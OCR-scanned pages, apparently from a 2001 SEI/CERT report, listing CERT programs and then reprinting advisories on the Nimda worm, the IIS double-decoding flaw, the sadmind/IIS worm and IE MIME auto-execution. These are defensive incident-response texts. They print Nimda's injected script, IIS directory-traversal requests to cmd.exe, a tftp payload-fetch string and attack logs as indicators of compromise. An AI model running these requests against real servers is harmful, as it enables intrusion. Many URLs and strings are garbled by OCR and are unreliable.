dling Workshop for Technical
Staff (Advanced)

+ Overview of Managing a CSIRT

+  Creating a Computer Security Inci-
dent Response Team

«  Concepts and Trends in Informa-
tion Security

+ Information Security for Technical
Staff

» Executive Role in Information
Security: Risk and Survivability
{by invitation only}

Survivable Network Technology

In the area of Survivable Network
Technology, staff is concentrating on
the technical basis for identifying and
preventing security flaws and for pre-
serving essential services if a systemis
penetrated and compromised.
Approaches that are effective at secur-
ing bounded systems (systems that are
controlled by one administrative struc-
ture) are not effective at securing
unbounded systems such as the Inter-
net, Therefore, the technical
approaches include design and imple-
mentation strategies, recovery tactics,
sirategies to resist attacks, survivabil-
ity tradeoff analysis, and the
development of security architectures.
This work draws on the CERT/CC’s
targe collection of incident data.

Easel — an emergent algorithm simu-
lation environment and language
Easel can be used to simulate the
effects of cyber attacks, accidents, and
failures, and can be used to predict the
survivability attributes of complex
systems while they are under develop-
ment, preventing costly vulnerabilities
before the system is built, Once com-
pleted, Easel will create dynamic
depictions to help users envision glo-
bal effects and enable “what-if”
analysis as well as the study of cascade
effects.

Survivable Network Analysis (SNA)
‘The SNA method provides a means for
organizations to understand surviv-
ability in the contex: of their operating
environments. The SNA method per-
mits systematic assessment of the
survivability properties of proposed
systems, existing systems, and modifi-
cations to existing systems. The
analysis is carried out at the architec-
ture Jevel as a cooperative project by a
customer team and an SEI team.

Information Survivability Workshop
The annual Information Survivability
Workshop is a forum for technologists
developing methods and tools in vari-
ous areas of information survivability.
Lessons learned and case studies are
shared. Participants strive for consen-
sus on recommendations concerning
specific problem areas and
approaches, along with promising
research directions and funding
required.

CERT Coordination Center
Incident and Vulnerability Handling
and Analvsis

The SEI’s CERT Coordination Center
has become a major reporting center
for incidents and vulnerabilities
because the staff has an established

Survivable Systems Initiative
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Suvivable Systems Initative

Teputation for discretion and objec-
tivity. As a result of the
community’s trust, the staff is able
to obtain a broad view of incident
and vulnerability frends and charac-
teristics and to identify changing
threats to Internet security. SEI staff
communicates this information
back to the community through
reports, presentations at conferences
and workshops, and training
courses.

AirCERT

AIrCERT is an open-source infra-
structure being develaped to
automatically collect information
on security events at Internet sites
and automatically handle well-
understood attacks. Components are
currently being tested by the Inter-
net community.

CERT Knowledgebase

The CERT Knowledgebase cap-
tures information related o network
survivability and security. It pro-
vides data for analysis and a
conerete basis for developing secu-
rity improvement practices,
evaluation techniques for security
risk, and techniques for modeling
and predicting security of systems
while they are under development.

FedCIRC

The Federal Computer Incident
Response Center (FedCIRC) was
established to provide security ser-
vices to federal civilian agencies.
The CERT/CC performs security
analysis for FedCIRC, which is
managed by the General Services
Administration,

Security Alerts

CERT advisories alert the Internet
community to a current or imminent
threat, Among the criteria for devel-
oping an advisory are the urgency of
the problem, potential effect of
intruder exploitations, and existence
of a software pateh or workaround,
CERT summaries call attention to
the types of attack currently being
reported to the CERT/CC and pro-
vide pointers to advisories and other
publications that explain how to
deal with the attacks. Additionally,
incident notes and vulnerability
notes are informal means for pro-
viding timely information relating
to security problems.

Computer Security Incident
Response Team (CSIRT)
Development

The scale of emerging networks and
the diversity of user communities
make it impractical for a single
organization to provide universal
support for addressing computer
security issues, ltis essential tohave
multiple incident response organi-
zations, each serving a particular
user group. The CERT Coordina-
tion Center staff regularty works
with sites to help their teams expand
their capabilities and provides guid-
ance to newly forming teams. In
addition, courses for teams and their
managers are available, as listed
earlier.

®  CERT and CERT Coordination Center are registered in the U.S, Patent and Trademark Office.
$M  GOTAVE and Operationally Critical Threat, Asset, and Vulnerabiiity Evaluation are service

marks of Carnegie Metion University.
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CERT® Advisory CA-2001-26 Nimda
Worm

Original release date: September 18, 2001
Revised: September 21, 2001
Source: CERT/CC

A complete revision history is at the end of this file.
Systems Affected

« Systems running Microsoft Windows 85, 98, ME, NT, and 2000

Overview

The CERT/CC has received reports of new malicious code known as the "W32/Nimda worm"” or
the "Concept Virus (CV) v.5." This new worm appears to spread by multiple mechanisms:

» from client to client via email
+ from client to client via open network shares
« from web server to client via browsing of compromised web sites

» from client to web server via active scanning for and exploitation of various Microsoft 1IS
4.0/ 5.0 directory traversal vulnerabilities (VU#111677 and CA-2001-12)

« from client to web server via scanning for the back doors left behind by the "Code Red II"
(IN-2001-08), and "sadmind/lIS" (CA-Z001-11) worms

The worm modifies web documents (e.9., .htm, .html, and .asp files) and certain executable files
found on the systems it infects, and creates numerous copies of itself under various file names.

We have also received reports of denial of service as a result of network scanning and email
propagation.

I. Description

The Nimda worm has the potential to affect both user workstations (clients) running Windows 95,
98, ME, NT, or 2000 and servers running Windows NT and 2000.

Email Propagation

This worm propagates through email arriving as a MIME "multipart/alternative” message
consisting of iwo sections. The first section is defined as MIME type "text/html”, but it contains no
text, so the email appears to have no content. The second section is defined as MIME type
"audio/x-wav", but it contains a basef4-encoded attachment named “readme.exe”, which is a
binary executable.

Due to a vulnerability described in CA-2001-06 (Automatic Execution of Embedded MIME Types),
any mall software running on an x86 platform that uses Microsoft Internst Explorer 5.5 SP1 or
earlier (except IE 5.01 SP2) to render the HTML mail automatically runs the enclosed attachment
and, as result, infects the machine with the worm. Thus, in vulnerable configurations, the worm
payload will automatically be triggered by simply opening (or previewing) this mail message. As
an executable binary, the payload can also be triggered by simply running the attachment.
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The email message delivering the Nimda worm appears to also have the following characteristics:

« The text in the subject line of the mail message appears to be variable.

» There appear to be many slight variations in the attached binary file, causing the MD5
checksum to be different when one compares different attachments from different email
messages. However, the file length of the attachment appears to consistently be 57344
bytss.

The worm also contains code that will attempt to resend the infected email messages every 10
days.

Payload

The email addresses targeted for receiving the worm are harvested from two sources
« the htm and .htmi files in the user’s web cache folder
» the contents of the user's email messages retrieved via the MAPI service

These files are passed through a simple pattern matcher which collects strings that look like email
addresses. These addresses then receive a copy of the worm as a MIME-encoded email
attachment. Nimda stores the time the last batch of emails were sent in the Windows registry, and
every 10 days will repeat the process of harvesting addresses and sending the worm via email.

Likewise, the client machines begin scanning for vulnerable 1IS servers. Nimda looks for
backdoors left by previous IS worms: Code Red Il [IN-2001-09] and sadmind/lIS worm {CA-2001-
11). It also attempts to exploit various 1IS Directory Traversal vulnerabilities (VU#111677 and CA-
2001-12). The selection of potential target IP addresses follows these rough probabilities:

e 50% of the time, an address with the same first two octets will be chosen
e 25% of the time, an address with the same first octet will be chosen

¢ 25% of the time, a random address will be chosen

The infected client machine attempts to transfer a copy of the Nimda code via tftp (69/UDP) to
any 1S server that it scans and finds to be vulnerable.

Once running on the server machine, the worm traverses each directory in the system {including
all those accessible through file shares) and writes a MIME-encoded copy of itself to disk using
file names with .em! or .nws extensions (e.g., readme.eml). When a directory containing web
content {e.g., HTML or ASP files) is found, the following snippet of Javascript code is appended
to every one of these web-related files:

<script language="JavaScript'»

window.open ("readme.eml”", null,

rresizable=no, top=6000,1eft=6000")

</seript>
This modification of web content allows further propagation of the worm to new clients through a
web browser or through the browsing of a network file system.

In order to further expose the machine, the worm

« enables the sharing of the ¢: drive as C$
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» creates a "Guest" account on Windows NT and 2000 systems
« adds this account to the "Administrator” group.

Furthermore, the Nimda worm infects existing binaries on the system by creating Trojan horse
copies of legitimate applications. These Trojan horse versions of the applications will first execute
the Nimda code (further infecting the system and potentially propagating the warm), and then
complete their intended function.

Browser Propagation

As part of the infection process, the Nimda worm modifies all web content files it finds (including,
but not limited to, files with .htm, .html, and .asp extensions). As a result, any user browsing web
content on the system, whether via the file system or via a web server, may downioad a copy of
the worm. Some browsers may automatically execute the downioaded copy, thereby infecting the
browsing system.

File System Propagation

The Nimda worm creates numerous MIME-encoded copies of itself (using file names with .eml
and .nws extensions) in all writable directories (including those found on a netwark share) to
which the user has access. If a user on another system subsequently selects the copy of the
worm file on the shared network drive in Windows Expiorer with the preview option enabled, the
warm may be able to compromise that system.

Additionally, by creating Trojan horse versions of legitimate applications already installed on the
system, users may unknowingly trigger the worm when attempting to make use of these
programs.

System FootPrint

The scanning activity of the Nimda. worm produces the following log entries for any web server
fisting on port 80/tcp:

GET /scriptg/root.exe?/c+dir

GET /MSADC/root.exe?/c+dir

GET /c/winnt/system32/cmd.exe?/c+dir

GET /d/winnt/system32/cmd.exe?/c+dir

GET /scripts/..%5c../winnt/system32/omd.exe?/c+dir

GET /_vti_bin/..%5c../..%5c../..%5¢../winnt/system32/cmd.exe?/c+dir
GET /_mem _bin/..%5¢../..%5¢c../..%5¢../winnt/system32/cmd.exe?/c+dir
GET

/msade/. .%5¢../.. %8¢, ./..%5c/. . \xcl\xlc../..\xcl\xle../. . \xcl\xlc../win
nt/system3z2/cmd.exe?/c+dir

GET /scripts/..\xcil\xlc../winnt/system32/cmd.exe?/c+dir

GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir

GET /scripts/..\xcO\xaf../winnt/system32/cmdi.exe?/c+dir

GET /scripts/..\xcl\x9c../winnt/system32/cmd.exe?/c+dir

GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir

GET /scripte/..%35c¢. . /winnt/system32/comd.exe?/c+dir

GET /scripts/..%5¢. . /winnt/system32/cmd.exe?/c+dir

GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir

Note: The first four entries in these sample logs denote attempts to connect to the backdoor left
by Code Red iI, while the remaining log entries are examples of exploit attempts for the Directory
Traversal vuinerability.

Il. Impact
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Intruders can execute arbitrary commands within the LocalSystern security context on machines
running the unpatched versions of lIS, In the case where a client is compromised, the worm will

be run with the same privileges as the user who triggered it. Hosts that have been compromised
are also at high risk for being party to attacks on other internet sites.

The high scanning rate of the Nimda worm may also cause bandwidth denial-of-service
conditions on networks with infected machines.

IIl. Solutions

Recommendations for System Administrators of lIS machines
To determine if your system has been compromised, look for the following:

o aroot.exe file (indicates a compromise by Code Red Il or sadmind/lIS worms making the
system vulnerable to the Nimda worm}

¢ an Admin.dil file in the root directory of ¢\, d:\, or e:\ (Note that the file name Admin.dil
may be legitimately installed by liS in other directories.)

« unexpected .eml or .nws files in numerous directories

« the presence of this string: /c+tftp%20-
1%20%x.X.X.x%20GHET$20A4dmin. 4113204 :\Admin . 411 200 in the 118 logs, where
"x.x.x.X" is the IP address of the attacking system. (Note that only the "200" result code
indicates success of this cormmand.)

The only safe way to recover from the system compromise is to format the system drive(s) and
reinstall the system software from trusted media (such as vendor-supplied CD-ROM).
Additionally, after the software is reinstalled, all vendor-supplied security patches must be
applied. The recommended fime 1o do this is while the system is not connected to any network.
However, if sufficient care is taken to disable all server network services, then the patches can be
downloaded from the Internet.

Detailed instructions for recovering your system can be found in the CERT/CC tech tip:

Steps for Recovering from a LINIX or NT System Compromise
Apply the appropriate patch from your vendor

A cumulative patch which addresses all of the [IS-related vulnerabilities exploited by the Nimda
worm is available from Microsoft at

http://www.microsoft.com/technet/security/bulielin/MS01-044.asp
Recommendations for Network Administrators

Ingress filtering

Ingress filtering manages the flow of traffic as it enters a network under your administrative
control. Servers are typically the only machines that need o accept inbound connections from the
public Internet. In the network usage policy of many sites, there are few reasons for external
hosts to initiate inbound connections to machines that provide no public services. Thus, ingress
filtering should be performed at the border to prohibit externally initiated inbound connections to
non-authortized services. With Nimda, ingress filtering of port 80/tcp could prevent instances of
the worm outside of your network from scanning or infecting vulnerable [IS servers in the local
network that are not explicifly authorized to provide public web services. Fiitering of port 69/udp
will also prevent the downloading of the worm to HiS via iftp.



64

Cisco has published a tech tip specifically addressing filtering guidelines to mitigate the impact of
the Nimda worm at

hitp:ffeww cisco.comwarp/pyblic/63/nimda.shimi
Egress filtering

Egress filtering manages the flow of iraffic as it leaves a network under your administrative
control. There is typically limited need for machines providing public services to initiate outbound
connections to the Internet. In the case of Nimda, employing egress filtering on port 69/udp at
your network border will prevent certain aspects of the worms propogation both to and from your
network.

Recommendations for End User Systems
Apply the appropriate patch from your vendor

If you are running a vulnerable version of Internet Explorer (IE), the CERT/CC recommends
upgrading to at least version 5.0 since older versions are no longer officially maintained by
Microsoft. Users of IE 5.0 and above are encourage to apply patch for the "Automatic Execution
of Embedded MIME Types" vulnerability available from Microsoft at

hitp:/Awww. microsoft. com/technet/security/bulletin/MS01-020.asp

Note: The above patch has been supserseded by the IE 5.01 and 5.5 patches discussed in
Ms01-027

Run and Maintain an Anti-Virus Product

It is important for users to update their anti-virus software. Most anti-virus software vendors have
rejeased updated information, tools, or virus databases to help detect and partially recover from
this malicious code. A list of vendor-specific anti-virus information can be found in Appendix A.

Many anti-virus packages support automatic updates of virus definitions. We recommend using
these automatic updates when available.

Don't open e-mail attachments

The Nimda worm may arrive as an email attachment named "readme.exe”. Users should not
open this attachment.

Disable JavaScript
End-user systems can become infected with the Nimda worm by browsing web sites hosted by
infected servers, This method of infection requires the use of JavaScript to be successful.

Therefore, the CERT/CC recommends that end user systems disable JavaScript until all
appropriate patches have been applied and anti-virus software has been updated.

Appendix A. Vendor Information

Antivirus Vendor information

Aladdin Knowledge Systems
hitp:/iwww.eSafe.com/homelcsrifvalerts2.aspPvirus_no=10087
Central Command, Inc.
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http//support.centralcommand.com/cqi-
bin/command.cfa/php/enduser/std adp.php?p_refno=010918-000005

Command Software Systems

hitp:/iwww commandsoftware .com/virus/nimda.himi
Computer Associates

http:/www. ca.comivirusinfo/encyclopedia/descriptions/n/nimda. htm
F-Secure Corp

http:/iwww. fsecure.com/v-descs/nimda.shim]
McAfee

http:fivil. meafee com/dispVirus.asp?virus_k=99209&
Panda Software

hitp:/iservice, pandasoftware esflibrary/card.jsp?Virus=Nimda
Proland Software

hitp:/iwww pspl.comivirus info/wormsinimda him
Sophos

hitp:/iwww sophos.com/virusinfo/analyses/w32nimdaa.hfmi
Symantec

hitp:/fwww symantec.com/avcenter/venc/data/w32.nimda.a@mm.htmt
Trend Micro

hitp/iwww. antivirus.comivinfolvirusencyclo/defaults.asp?VName=TROJ NIMDA A
hitpy/iwww. antivirus.com/pe-
cillin/vinfolvirusencycio/defaults.asp?VName=TROJ NIMDA A

References

You may wish to visit the CERT/CC's computer virus resources page located at

http:/Awww cert.orgfother _sourcesfviruses himi

|
Feedback on this document may be directed to the authors, Roman Danyliw, Chad Dougherty,
Allen Householder, Robin Ruefle

This document is available from: hitp://www.cert.org/advisories/CA-2001-26 htmi

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)

Fax: +1 412-268-6989

Postal address:
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
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Pittsburgh PA 15213-3890

USA
CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday
through Friday, they are on call for emergencies during other hours, on U.S. holidays, and on
weekends.

Using encryption
We strongly urge you toyencrypt sensitive information sent by email. Our public PGP key is
available from

hitpfwww.cert.org/CERT PGP.key

If you prefer to use DES, please call the CERT hofline for more information.
Getting security information
CERT publications and other security information are available from our web site

http-/fwww.cert.org/

To subscribe to the CERT mailing list for advisories and bulletins, send email to
meajordomo@cert.org. Please include in the body of your message
subscribe cert-advisory

* "CERT" and "CERT Coordination Center” are registered in the U.S. Patent and Trademark
Office.

NO WARRANTY

Any material furnished by Carnegie Mellon University and the Software Engineering
Institute is furnished on an "as is" basis. Carnegie Mellon University makes no warranties
of any kind, either expressed or implied as to any matter including, but not limited to,
warranty of fitness for a particular purpose or merchantability, exclusivity or results
obtained from use of the material, Carnegie Mellon University does not make any warranty
of any kind with respect to freedom from patent, trademark, or copyright infringement.

Conditions for use, disclaimers, and sponsorship information
Copyright 2001 Carnegie Melion University.
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clarified recommendations for end user systems



67

CERT® Advisory CA-2001-12
Superfluous Decoding Vulnerability
inlIS

Original release date: May 15, 2001
Last revised:
Source: CERT/CC

A complete revision history is at the end of this file.

Systems Affected

« Systems running Microsoft IS

Overview

A serious vulnerability in Microsoft IS may allow remote intruders o execute commands on an
IS web server. This vulnerability closely resembles a previous vulnerability in IS that was widely
exploited. The CERT/CC urges IS administrators to take action to correct this vulnerability.

I. Description

URIs may be encoded according to REC 2386. Among other things, this RFC provides an
encoding for arbitrary octets using the percent sign (%) and hexadecimal characters.

Quoting from RFC 2396:

An escaped octet is encoded as a character triplet, consisting of the percent character "%"
followed by the two hexadecimal digits representing the octet code. For example, "%20" is the
escaped encoding for the US-ASCIi space character. .

escaped = "%" hex hex
hex = digit | "A”| "B”| "C”| "D"| "E”| "F”

Like alt web servers, Microsoft [IS decodes input URIs to a canonical format. Thus, the following
encoded string:

A% 20Fiename% 20With%20Spaces
will get decoded to

A Filename With Spaces

Unfortunately, 1S decodes some of the input twice. The second decoding is superfluous.
Security checks are applied to the results of the first decoding, but 1S utilizes the results of the
second decoding. If the resuits of the first decoding pass the security checks and the results of
the secand decoding refer to a valid file, access will be granted to the file even if it should not be.
More information is available at

hitp:/iwww microsoft.comftechnet/security/bulletin/MS01-026.asp

http:/iwww.nsfocus.com/englishihomepage/sa01-02.htm
hitp:/fwwew kb.cert.orglvuls/id/789543
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Note that this does not permit intruders to bypass ACLs enforced by the filesystem, only security
checks performed by 8. We encourage you {o configure your web server according to the
guidelines provided in

hitp/iwww microsoft. comitechnet/security/iisschk.asp
hitni/fwwew microsoft. comftechnetsecurityfiischi.asp
http:/iwww microsoff.comftechnet/securityitools asp

Theses guidelines ¢an help you reduce your exposure to this problem, and possibly to problems
that have not yet been discovered. :

This issue was discovered by NSFocus.

The CVE Project has assigned the following identifier to this vulnerability:
http:/fwww,cve.mitre orgfocgi-bin/cvename.cgi?name=CAN-2001-0333

This vulnerability has many similarities to the Web Server Folder Directory Traversal Vulnerability,
which has been widely exploited. For more information on that vulnerabllity, see

hitp:/iwww kb cert.ora/vulsfid/111677

II. Impact

Intruders can run arbitrary commands with the privileges of the IUSR_machinename account,

III. Solutions

Apply a patch from your vendor

Information on patches from Microsoft is available at
hittp:/Aiwww . microsoft.comitechnet/security/builetin/MS01-026.asp

Additional advice on securing IIS web servers is available from

http://www.microsoft.com/technet/security/iisSchk.asp
http:/Awww. microsoft.com/technet/security/fools.asp

Appendix A. Vendor Information

Microsoft Corporation

The following documents regarding this vulnerability are available from Microsoft:
hitp://www.microsoft. com/technet/secuyrity/bulletin/MS01-026.asp

Authors: Shawn Heman.

This document is available from: htip.//www.cert org/advisories/CA-2001-12. htm!

CERT/CC Contact Information

Email: cei@cert.org
Phone: +1 412-268-7090 (24-hour hotline)

Fax: +1 412-268-6989
Postal address:
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CERT Coordination Center

Software Engineering Institute

Carnegie Mellon University

Pittsburgh PA 15213-3890

US.A
CERT/CC personnel answer the hotline 08:00-17:060 EST(GMT-5)/ EDT{GMT-4} Monday
through Friday, they are on cali for emergencies during other hours, on U.S. holidays, and on
weekends.

Using encryption

We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is
aveilable from

http://iwww.cert.org/CERT PGP.key

if you prefer to use DES, please call the CERT hotline for more information.

Getting security information
CERT publications and other security information are available from our web site

http:/fiwww.cert.org/

To subscribe io the CERT mailing list for advisories and bulietins, send email to
majordomo@cert.org. Please inciude in the body of your message
subscribe cert-advisory

*"CERT" and "CERT Coordination Center” are registered in the U.S. Patent and Trademark
Office.

NO WARRANTY

Any material furnished by Carnegie Mellon University and the Software Engineering
Institute is furnished on an "as is" basis. Carnegie Mellon University makes no warranties
of any kind, either expressed or implied as to any matter inciuding, but not fimited to,
warranty of fitness for a particular purpose or merchantability, exclusivity or resuits
obtained from use of the material. Carnegie Mellon University does not make any warranty
of any kind with respect to freedom from patent, trademark, or copyright infringement.

Gonditions for use, disclaimers, and sponsorship information
Copyright 2001 Carnegie Mellon University.

Revision History
May 15, 2001: Initial Release
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CERT® Advisory CA-2001-11
sadmind/lIS Worm

Original release date: May 08, 2001
Last revised: May 10, 2001
Source: CERT/CC

A complete revision history is at the end of this file.

Systems Affected
e Systems running unpatched versions of Microsoft 1S

» Systems running unpaiched versions of Solaris up to, and including, Solaris 7

Overview

The CERT/CC has received reports of a new piece of self-propagating malicious code {referred to
here as the sadmind/lIS worm). The worm uses two well-known vulnerabilities to compromise
systems and deface web pages.

l. Description

Based on preliminary analysis, the sadmind/llS worm exploits a vulnerability in Solaris systems
and subsequently installs software to attack Microsoft IS web servers. In addition, it includes a
component to propagate itself automatically to other vulnerable Solaris systems. It will add "+ +"
to the .rhosts file in the root user’s home directory. Finally, it wilf modify the index.htmi on the host
Solaris system after compromising 2,000 IS systems.

To compromise the Solaris systems, the worm takes advantage of a two-year-old buffer overflow
vulnerability in the Solstice sadmind program. For more information on this vulnerability, see

hitp:/iwww kb.cert.org/vulsiid/28934
hitp/iwww . cert.org/advisories/CA-1999-16.htm!

After successfully compromising the Solaris systems, it uses a seven-month-old vulnerability to
compromise the IS systems. For additional information about this vulnerability, see

http:/fwww Kb cert.orgfvulsid/111877

Solaris systems that are successfully compromised via the worm exhibit the following
characteristics:

. Sample syslog entry from compromised Solaris system

May 7 02:40:01 carrier.example.com inetd[139]: /usr/sbin/sadmind: Bus Error - core dumped
May 7 02:40:01 carrvier.example.com last message repeated 1 time

May 7 02:40:03 carrier.example.com last message repeated 1 time

May 7 02:40:06 carrvier.example.com inetd[1391: /usr/sbin/sadmind: Segmentation Fault -
core dumped

May 7 02:40:03 carrier.example.com last message repeated 1 time

May 7 02:40:06 carrier.example.com inetd{139]1: /usr/sbin/sadmind: Segmentation Fault -
core dumped .

May 7 02:40:08 carrier.example.com inetd{139]: /usr/sbin/sadmind: Hangup

May 7 02:40:08 carrier.example.com last message repeated 1 time

May 7 02:44:14 carrier.example.com inetd[139]1: /usr/sbin/sadmind: Killed

s Acrootshell listening on TCP port 600
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s Existence of the directories
o /devicub contains logs of compromised machines

o /devicuc contains tools that the worm uses to operate and propagate

¢ Running processes of the scripts associated with the worm, such as the following:

o /bin/sh /dev/cuc/sadmin.sh
o /devicuc/grabbb -t 3 -a .yyy.yyy -b xxx.xxx 111
o /devicuc/grabbb -t 3 -a .yyy.yyy -b xxx.xxx 80
o /bin/sh /dev/cuc/uniattack.sh
o /bin/sh /dev/cucitime.sh
o [ust/sbin/inetd -s /tmp/.f
o /bin/sleep 300 ;

Microsoft IS servers that are successfully compromised exhibit the following characteristics:

» Modified web pages that read as foliows:

fuck USA Government
fuck PoizonBOx
contact :sysadmen@yahoo.com.cn

. Sample Log from Attacked IIS Server

2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80 GET /scripts/../../winnt/system32/cmd.exe
/c+dir 200 -
2001-05-06 12:20:19 10.10.10.10 - 10.20.20.20 80 GET /scripts/../../winnt/system32/cmd.exe
Josdirs. \ 200 -
2001-05-06.12:20:19 10.10.10.10 - 10.20.20.20 80 \
GET /scripts/../../winut/system32/cmd.exe
/c+copy+\winnt\system32\cnd. exe+root.exe 502 -
2001-05-06 12:2C:1% 10.10.10.10 - 10.20.20.20 80 \
GET /scripts/root.exe /crecho+<HIML code inserted heres,././index.asp 502 -

Il. Impact

Solaris systems compromised by this worm are being used to scan and compromise other Solaris
and IIS systems. IS systems compromised by this worm can suffer modified web content.

Intruders can use the vuinerabilities exploited by this worm to execute arbitrary code with root
privileges on vulnerable Solaris systerns, and arbitrary commands with the privileges of the
IUSR_machinename account on vulnerable Windows systems.

We are receiving reports of other activity, including one report of files being destroyed on the
compromised Windows machine, rendering them unbootable. It is unclear at this time if this
activity is directly related to this worm.
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lll. Solutions
Apply a patch from your vendor

A paich is available from Microsoft at
hitp:/iwww.microsoft comitechnet/security/bulletin/MS00-078.asp

For lIS Version 4:
hitp:/www. microsoft comintserver/nis/downloads/oritical/q269862/default. asp

For IS Version 5:
nitp /vy microsoff. comiwindows2000/downloadsieritical/q269862/default asp

Additional advice on securing lIS web servers is available from

htip://www.microsoft. comitechnet/securityfiisSchk.asp
hitp:/fveww microsoft comftechnet/securityitocis.asp

Apply a patch from Sun Microsystems as described in Sun Security Bulletin #00191:

hitpffsunsolve sun.com/pub-calfretrieve pl?
doctype=coll&doc=secbulll191&type=0&nav=sec.sha

Appendix A. Vendor Information

Microsoft Corporation

The following documents regarding this vulnerability are available from Microsoft:
hitp//www.microsoft.com/technet/security/bulletin/MS00-078.asp

Sun Microsystems

Sun has issued the following bulletin for this vulnerability:

http:f/sunsolve.sun.com/pub-cgifretrieve.pi?
doctype=coli&doc=secbuil/1918&type=0&nav=sec.sba

References

1. Vulinerability Note VU#111677: Microsoft IS 4.0/ 5.0 vulnerable to directory traversal via
extended unicode in url (MS00-078) hitp:/iwww kb .cert.org/vuls/id/111677

2. CERT Advisory CA~1999-16 Buffer Overflow in Sun Solstice AdminSuite Daemon
sadmind
http:/mww.cert.org/advisories/CA-1989-16.htm}

Authors: Chad Dougherty, Shawn Hernan, Jeff Havrilla, Jeff Carpenter, Art Manion, lan Finfay,
John Shaffer

This document is available from: hitp;//www.cert.org/advisories/CA-2001-11.himi

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotiine)
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Fax: +1 412-268-6989
Postal address:

CERT Coordination Center

Software Engineering Institute

Carnegie Mellon University

Pittsburgh PA 15213-3890

U.SA.
CERT/CC personnel answer the hotiine 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday
through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on
weekends.

Using encryption
We strongly urge you to encrypt sensitive information sent by emall. Our public PGP key is
available from
hitpiiwew cort org/CERT PGP key
If you prefer to use DES, please call the CERT hotline for more information.
Getting security information

CERT publications and other security information are available from our web site

http:/www cert.org/
To subscribe to the CERT mailing list for advisories and bulletins, send email to

majordomo@ecert.org. Please include in the body of your message

subscribe cert-advisory

* "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark
Office. D

NO WARRANTY

Any material furnished by Carnegie Melion University and the Software Engineering
Institute is furnished on an “as is" basis. Carnegie Mellon University makes no warranties
of any kind, either expressed or implied as to any matter including, but not limited to,
warranty of fitness for a particular purpose or merchantability, exclusivity or results
obtained from use of the material. Carnegie Mellon University does not make any warranty
of any kind with respect to freedom from patent, trademark, or copyright infringement.

Conditions for use, disclaimers, and sponsorship information
Copyright 2001 Carnegie Mellon University.

Revision History

May 08, 2001: Initial Releage
May 08, 2001: Formatting change to improve printing
May 08, 2001: Correct link in the vendor section to point to the
correct Microsoft Bulletin.
Qur apologies to Microsoft for the error.
May 10, 2001: Changed sanitized logs to example.com
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CERT® Advisory CA-2001-06
Automatic Execution of Embedded
MIME Types

COriginal release date: April 03, 2001
Last revised: September 19, 2001
Source: CERT/CC

A complete revision history can be found at the end of this file.
Systems Affected

* All Windows versions of Microsoft Internet Explorer 5.5 SP1 or earlier, except IE 5.01
SP2, running on x88 piatforms

« Any software which utilizes vulnerable versions of internet Explorer to render HTML

Overview

Microsoft Internet Explorer has a vuinerability triggered when parsing MIME parts in a document
that allows a malicious agent to execute arbitrary code. Any user or program that uses vuinerable
versions of Internet Explorer to render HTML in a document (for example, when browsing &
filesystem, reading email or news messages, or visiting a web page}, should immediately
upgrade to a non-vulnerable version of Internet Explorer.

l. Description

There exists in Internet Explorer a table which is used to determine how 1E handles MIME types
when it encounters MIME parts in any type of HTML document, be it email message, newsgroup
posting, web page, or local file. This table contains a set of entries that cause internet Explorer to
open the MIME part without giving the end user the opportunity to decide if the MIME part should
be opened. This vulnerability allows an intruder to construct malicious content that, when viewed
in Internet Explorer {or any program that uses the IE HTML rendering engine), can execute
arbitrary code. It is not necessary to run an attachment; simply viewing the document in a
vulnerable program is sufficient to execute arbitrary code.

For more details, see Microsoft Security Bulletin MS01-020 on this topic at:
bttp:/iwww.microsoft.com/technet/security/bulletin/MS01-020.asp

There have been reports that simply previewing HTML content (as in a mail client or filesystem
browser) is sufficient to trigger the vulnerability. The impact of viewing malicious code in this
manner is being evaluated,

The CERT/CC is currently unaware of any reports of this vulnerability being used to successfully
attack a system. Demonstration code exploiting this vulnerability has been published in several
public forums. This vulnerability is being referenced in CVE as CAN-2001-0154 and by the
CERT/CC as VU#980499.

ll. Impact
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Attackers can cause arbitrary code to be executed on a victim's system by embedding the code in
a malicious email, or news message, or web page.

lll. Solution
Apply the patch from Microsoft

Apply the patch from Microsoft, available at:
hitp/iwww. microsoft. comiwindowsfie/download/critical/Q290108/default.asp

As noted in the 'Caveats’ section of the Microsoft advisory, end users must apply this patch to
supported versions of Microsoft's browser. This means IE must be upgraded to IE 5.01 Service
Pack 1 or IE 5.5 Service Pack 1 before users can apply this patch. Users who have not previously
upgraded will incorrectly receive a message stating that they do not need to apply this patch,
even though they are vuinerable. Users are advised to upgrade to IE 5.5 SP1, IE 5,01 SP1 or
8P2 {which has this patch incorporated in it} and apply the appropriate patch.

An excerpt from MS01-020:
Caveats:
If the patch is installed on a system running a version of IE other
than the one it is designed for, an error message will be displayed
saying that the patch is not needed. This message is incorrect, and
customers who see this message should upgrade to a supported version
of IE and re-install the patches.

Appendix A. - Vendor Information

This appendix contains information provided by vendors for this advisory, When vendors report
new information to the CERT/CC, we update this section and note the changes in our revision
history. If a particutar vendor is not listed below, we have not received their comments.

Cyrusoft International, Inc.

Mulberry does not use Internet Explorer o render HTML within Muiberry itself and is not
vulnerable to these kinds of problems. Users can save HTML attachments to disk and then view
those in browsers susceptible fo this problem, but this requires the direct intervention of the user
to explicitly save to disk - simply viewing HTML in Mulberry does not expose users to these kinds
of problems.

Our HTML rendering is a basic styled-text only renderer that does not execute any form of scripts.
This is true on all the platforms we support: Win32, Mac OS (Classic & X), Solaris, linux.

An official statement about this is available on our website at:
hitpufwww cyrusoft. com/mulberry/htmisecurity. hitmi

Lotus Development Corporation

Notes doesn't use IE to display HTML formatied email.

If a user's browser preferences specify Notes with Internet Explorer, then the version of Internet
Explorer that is installed on the user's workstation is used for browsing. It Is launched as an
ActiveX component within Notes, but Notes does not ship any IE code. If Internet Explorer is
chosen as the user's preferred browser, then Notes launches Internet Explorer in & separate
window and opens the link. The Notes client does not need fo be upgraded but the user must
upgrade their version of internet Explorer to prevent against this vulnerability, which they shouid
do anyway.
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Microsoft Corporation
